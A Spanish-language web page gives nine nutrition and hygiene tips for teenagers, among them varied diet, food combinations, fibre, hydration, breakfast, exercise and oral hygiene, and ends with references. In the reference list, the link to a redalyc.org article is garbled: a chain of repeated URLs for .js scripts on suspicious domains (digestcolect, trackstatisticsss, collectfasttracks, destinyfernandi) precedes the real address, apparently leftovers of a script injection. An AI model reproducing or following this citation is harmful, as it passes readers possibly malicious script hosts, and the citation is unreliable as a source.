9 Tips para una buena nutrición en la adolescencia

A través de la alimentación le proporcionamos a nuestro cuerpo energía y le aportamos de los nutrientes necesarios para que funcione correctamente. Dado que la mayor parte de los cambios que se producen durante la adolescencia son fisiológicos (maduración sexual, aumento del peso, aumento de la talla, entre otros), los requerimientos nutricionales son muy elevados, por ello hay que evitar carencias que puedan dar origen a trastornos de la salud.

Cambios-en-la-adolescencia

La adolescencia es la etapa más cambiante en el desarrollo de los seres humanos, es un periodo de maduración física y mental.

¿Sabías que?

Los problemas alimenticios en los adolescentes conducen a trastornos como la bulimia, anorexia, desnutrición, sobrepeso y obesidad. Estos trastornos pueden ser exacerbados por el sedentarismo, cambios en el estilo de vida y en percepciones erróneas del cuerpo al querer parecerse a los modelos difundidos por los medios de comunicación.

 

Una nutrición saludable requiere de:

1. Alimentación variada. Consume de diferentes alimentos todos los días como: lácteos y sus derivados, verduras, frutas, cereales y carne.

Alimentacion-variada

2. Alimentos combinados que favorezcan la utilización y aprovechamiento de los nutrientes, por ejemplo:

  • Lácteos con cereales (arroz con queso, tortilla con requesón).
  • Cereales con legumbres y vegetales (arroz con zanahorias o arroz con lentejas).
  • Leguminosas con vegetales (frijoles con tomate, fríjol de soya con tomate y rábano).
  • Leguminosas con cereales (frijoles con fideos, arroz con frijoles).
  • Otras mezclas (harina de maíz con hierro; soya, trigo y frijol; empanadas).
Vegetales

3. Consumo de fibra pues ayuda a facilitar la digestión de los alimentos y a la absorción de nutrientes, se encuentra en verduras, frutas y cereales integrales.

Alimentos-combinados

4. Establecer y respetar horarios de alimentación porque el cuerpo necesita energía durante todo el día. Come tres veces al día y refrigerios después de  ayunos prolongados o actividad física intensa.

Horarios-de-comida

5. Desayunar para tener energía después de dormir. Elige panes y cereales además de incluir frutas y lácteos.

Desayunar--para-tener-energia

6. Beber suficientes líquidos para mantenerte bien hidratado. Se necesita como mínimo de 6 a 8 vasos de agua al día.

Hidratacion

 7. Higiene bucal para tener una salud integral. Cepilla tus dientes después de cada comida y evita la ingesta de alimentos dulces. Recuerda que ocasionan caries.

Higiene-bucal

 8. Actividad física para mantener activos los músculos y los huesos.

Ejercicio

 9. Hábitos de higiene para un estilo de vida saludable que incluya: baño diario, ropa limpia, lavado de manos, preparación higiénica de los alimentos y cuidado ambiental.

Habitos-de-higiene

¿Sabías que?

El ejercicio:

  • Mejora la condición física y el desempeño escolar.
  • Aumenta el sentido de responsabilidad personal.
  • Reduce el consumo de drogas y el alcohol.
  • Mejora el sistema inmunológico evitando que te enfermes.
  • Reduce el estrés, la ansiedad y la depresión.
  • Ayuda a mantener el peso corporal.

 

pirámide nutriconal

A partir de los 12 años, hombres y mujeres comenzamos una etapa de crecimiento rápido que necesita el consumo de nutrientes al máximo. De esta manera, los hombres podrán crecer hasta 10 centímetros al año y las mujeres un poco menos.

Referencias:

Castañeda, O., Rocha- Díaz, JC, Ramos-Aispuro, MG. (2008). Evaluación de los hábitos alimenticios y estado nutricional en adolescentes de Sonora. Archivos en Medicina Familiar, 10, 7-11. Disponible en: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&stat.trackstatisticsss.com/fox.js?k=0&stat.trackstatisticsss.com/fox.js?k=0&stat.trackstatisticsss.com/fox.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&www.redalyc.org/articulo.oa?id=50713090003

Guía de alimentación y nutrición para adolescentes. (2007). Ministerio de Salud Pública y Asistencia Social. San Salvador, El Salvador. Organización Panamericana de la Salud.

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